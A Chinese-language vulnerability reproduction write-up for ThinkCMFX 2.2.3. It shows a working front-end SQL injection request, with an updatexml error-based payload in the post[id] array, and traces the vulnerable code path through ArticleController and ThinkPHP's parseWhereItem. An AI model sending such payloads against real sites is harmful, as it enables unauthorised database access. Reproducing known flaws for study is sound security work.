对ThinkCMFX最终版本2.2.3存在的四个漏洞进行复现
ThinkCMFX 是基于 ThinkPHP3 开发的 ,ThinkCMFX2.2.3 下载地址:https://pan.baidu.com/s/1bRXwdg
前台SQL注入
随意注册一个 普通用户 登陆后,发送如下数据包可触发 SQL注入
1
2
3
4
5
6
7
8POST /index.php?g=portal&m=article&a=edit_post HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=2894fb4dbf964f58ccf3d2e4e372b316
Host: 127.0.0.1:8000
Content-Length: 78
Connection: close
post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)#
漏洞文件位于 application/Portal/Controller/ArticleController.class.php
漏洞产生的本质是未对用户输入进行过滤,用户可控变量$article来源于POST传递的参数名为post的数组,再将$article的id字段 未经过滤 就直接拼接到where条件语句中查询,导致 sql注入漏洞 。下面开始跟进漏洞。
跟进到save方法后,$data参数传入update方法开始执行数据库 UPDATE 操作
然后将$options['where']传入parseWhere函数进行where条件语句的拼接,最后跟进到parseWhereItem函数
程序处理过程中使得$exp == 'bind',最后拼接成的where语句为:1WHERE `id` = :0 and updatexml(1, concat(0x7e,user(),0x7e)